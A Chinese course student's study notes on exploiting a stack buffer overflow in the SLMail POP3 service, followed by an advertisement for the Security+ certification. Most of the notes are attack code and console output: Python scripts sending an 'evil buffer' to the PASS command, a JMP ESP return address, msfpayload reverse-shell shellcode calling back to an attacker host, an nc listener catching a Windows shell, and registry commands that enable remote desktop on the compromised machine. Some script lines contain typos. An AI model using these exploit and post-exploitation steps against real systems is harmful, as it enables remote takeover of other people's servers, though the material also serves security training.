【安全牛学习笔记】FUZZING

来源:互联网 发布:mac 安装oracle数据库 编辑:程序博客网 时间:2024/05/22 07:07

​FUZZING

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                                                             ┃

┃思路:                                                                              ┃

┃    将EIP修改为shellcode代码的内存地址,将Shellcode写入到地址空间,程序读取EIP寄存器┃

┃    数值,将跳转到shellcode代码段并执行;                                            ┃

┃寻找可存放shellcode的内存空间                                                       ┃

┃06.py                                                                               ┃

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

╭────────────────────────────────────────────╮

[06.py]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)

buffer = "A" * 2606+"B"*4+"C"*(3500-2606-4)

try:

    print "\nSending evil buffer..."

    s.connect(('192.168.20.32',110))

    data = s.recv(1024)

    s.send('USER test'+'\r\n')

    data = s.rec(1024)

    s.send('PASS' + buffer 'test\r\n')

    print "\nDone!"

except:

    print "Could not connect to POP3!"

╰────────────────────────────────────────────╯

root@kali:~# ./06.py

Sending evil buffer

Done!

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                                                 ┃

┃不同类型的程序、协议、漏洞,会讲某些字符认为是坏字符,这些字符有固定用途┃

┃    返回地址、Shellcode、buffer中都不能出现坏字符                       ┃

┃    null byte (0x00)空字符,用于种植字符串的拷贝操作                    ┃

┃    return (0x0D)回车操作,表示POP3 PASS命令输入完成                    ┃

┃    思路:发送0x00-----0xff 256个字符,查找所有坏字符                   ┃

┃    07.py                                                               ┃

┃    0x0A                                                                ┃

┃    OxOD                                                                ┃

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

╭────────────────────────────────────────────╮

[07.py]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)

badchars = (

    //(256个十六进制字符串,这里我就不写了!)

)

buffer = "A" * 2606+"B"*4 + badchars

try:

    print "\nSending evil buffer..."

    s.connect(('192.168.20.32',110))

    data = s.recv(1024)

    s.send('USER test'+'\r\n')

    data = s.rec(1024)

    s.send('PASS' + buffer 'test\r\n')

    print "\nDone!"

except:

    print "Could not connect to POP3!"

╰────────────────────────────────────────────╯

root@kali:~# ./07.py

Sending evil buffer

Done!

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                                                           ┃

┃重定向数据流                                                                      ┃

┃    用ESP的地址替换EIP的值                                                        ┃

┃    但是ESP地址变化,硬编码不可行                                                 ┃

┃    SLMali线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定┃

┃变通思路                                                                          ┃

┃    在内存中寻找地址固定的系统模块                                                ┃

┃    在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode ┃

┃    mona.py脚本识别内存模块,搜索"return address"是JMP ESP指令的模块              ┃

┃    寻找无DEP、ALSR保护的内存地址                                                 ┃

┃    内存地址不包含坏字符                                                          ┃

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

root@kali:~# cd /usr/share/metasploit-framework/tools/

root@kali:/usr/share/metasploit-framework/tools# ./nasm_shell.rb    //汇编语言转换成二进制

nasm > jmp esp

00000000 FFE4               jmp esp

nasm > exit

╋━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                   ┃

┃寻找不受保护的系统模块                    ┃

┃    lmona modules                         ┃

┃将汇编指令jmp esp转换成二进制             ┃

┃    ./nasm shell                          ┃

┃    FFE4                                  ┃

┃在模块中搜索FFE4指令                      ┃

┃    lmona find -s "\xff\xe4" -m slmfc.dll ┃

┃    选择不包含坏字符的内存地址            ┃

┃在该地址设置断点                          ┃

┃重发buffer                                ┃

┃    08.py(地址全翻转)                     ┃

╋━━━━━━━━━━━━━━━━━━━━━╋

╭────────────────────────────────────────────╮

[08.py]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)

buffer = "A" * 2606 + "\xe3\x41\x4b\x5f" + "C" * 390

try:

    print "\nSending evil buffer..."

    s.connect(('192.168.20.32',110))

    data = s.recv(1024)

    s.send('USER test'+'\r\n')

    data = s.rec(1024)

    s.send('PASS' + buffer 'test\r\n')

    print "\nDone!"

except:

    print "Could not connect to POP3!"

╰────────────────────────────────────────────╯

root@kali:~# ./08.py

Sending evil buffer

Done!

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                                                   ┃

┃生成shellcode                                                             ┃

┃Scratch                                                                   ┃

┃./msfpayload                                                              ┃

┃./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C                 ┃

┃./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b┃

┃"\x00\x0a\x0d"                                                            ┃

┃nc -vlp 443                                                               ┃

┃09.py                                                                     ┃

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

root@kali:~# cd /usr/share/framework2/

root@kali:/usr/share/framework2/# ls msfpayload -l

root@kali:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C

root@kali:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d"

root@kali:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d" | grep 00

[*] Using Msf:Encoder:PexFnstenvMov with final size of 310 bytes

root@kali:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d" | grep 0a

[*] Using Msf:Encoder:PexFnstenvMov with final size of 310 bytes

root@kali:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d" | grep 0b

[*] Using Msf:Encoder:PexFnstenvMov with final size of 310 bytes

╭────────────────────────────────────────────╮

[09.py]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)

shellcode = (

    //(256个十六进制字符串,这里我就不写了!)

)

buffer = "A" * 2606 + "\xe3\x41\x4b\x5f" + "\x90" * 8 + shellcode

try:

    print "\nSending evil buffer..."

    s.connect(('192.168.20.32',110))

    data = s.recv(1024)

    s.send('USER test'+'\r\n')

    data = s.rec(1024)

    s.send('PASS' + buffer 'test\r\n')

    print "\nDone!"

except:

    print "Could not connect to POP3!"

╰────────────────────────────────────────────╯

root@kali:~# nc -vlp 444

Listening on [any] 444 ...

connect to [192.168.1.117] from localhost [192.168.1.119] 1053

Microsoft Windows XP | ?? 5.1.2006]

(C) ???? ???? 1985-2001 Microsoft Corp

C:\Program Files\SLmail\System>cd\

cd\

C:\>dir

dir

????? C ??????

?????? ??? 94CE=E07B

C:\ ???

root@kali:~# ./09.py

Sending evil buffer

Done!

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                                                           ┃

┃Shellcode执行结束后以ExitProcess方式退出整个进程,将导致邮件服务奔溃;            ┃

┃Slmail是一个基于线程应用,适用ExitThread方式可以避免整个服务崩溃,可实现重复溢出;┃

┃./msfpadload win32_reverse LHOST=192.168.20.8 EXITFUNC=thread LPORT=443 R         ┃

┃| ./msfencode -b "\x00\x0a\x0d"                                                   ┃

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                                                             ┃

┃echo Windows Registrv Editor Version 5.00>3389.reg                                  ┃

┃echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer]>>3389.reg ┃

┃echo "fDenyTSConnections"=dword:00000000>>3389.reg                                  ┃

┃echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\Wds\rdpwd\ ┃

┃Tds\tcp]>>3389.reg                                                                  ┃

┃echo "PortNumber"=dword:00000d3d>>3389.reg                                          ┃

┃echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\WinStations┃

┃\RDP-Tcp]>>3389.reg                                                                 ┃

┃echo "PortNumber"=dword:00000d3d>>3389.reg                                          ┃

┃regedit /s 3389.reg                                                                 ┃

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋ 

root@kali:~# nc -vlp 444

Listening on [any] 444 ...

connect to [192.168.1.117] from localhost [192.168.1.119] 1053

Microsoft Windows XP | ?? 5.1.2006]

(C) ???? ???? 1985-2001 Microsoft Corp

C:\Program Files\SLmail\System>cd\

cd\

C:\>echo Windows Registrv Editor Version 5.00>3389.reg

echo Windows Registrv Editor Version 5.00>3389.reg

C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer]>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer]>>3389.reg

C:\>echo "fDenyTSConnections"=dword:00000000>>3389.reg

echo "fDenyTSConnections"=dword:00000000>>3389.reg

C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\Wds\rdpwd\Tds\tcp>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\Wds\rdpwd\Tds\tcp>>3389.reg

C:\>echo "PortNumber"=dword:00000d3d>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\WinStations\RDP-Tcp]>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\WinStations\RDP-Tcp]>>3389.reg

C:\>echo "PortNumber"=dword:00000d3d>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

C:\>regedit /s 3389.reg

regedit /s 3389.reg

C:\>shutdown -r -t 0

shutdown -r -t 0

C:\>net user yuanhu *

root@kali:~# apt-get install rdesktop      //linux下的远程桌面

root@kali:~# rdesktop 192.168.1.119

WARNING: Remote desktop does not support colour depth 24; falling back to 16

regsnap

RegSnap可以详细地向你报告注册表及其他与系统有关项目的修改变化情况。RegSnap 对系统的比较报告非常具体,对注册表可报告修改了哪些键,修改前、后的值各是多少;增加和删除了哪些键以及这些键的值。报告结果既可以以纯文本的方式,也可以 html 网页的方式显示,非常便于查看。除系统注册表以外,RegSnap 还可以报告系统的其他情况:Windows 的系统目录和系统的 system 子目录下文件的变化情况,包括删除、替换、增加了哪些文件;Windows 的系统配置文件win.ini 和 system.ini 的变化情况,包括删除、修改和增加了哪些内容;自动批处理文件 autoexec.bat 是否被修改过。该软件可以在需要的时候方便地恢复注册表,可以直接调用 regedit 程序查看或修改注册表,还可以查看当前机器的机器名和用户名。

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂


Security+认证为什么是互联网+时代最火爆的认证?


      牛妹先给大家介绍一下Security+


        Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

       通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?  

       原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

      目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

       原因二: IT运维人员工作与翻身的利器。

       在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

        原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

        在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。

 近期,安全牛课堂在做此类线上培训,感兴趣可以了解

原创粉丝点击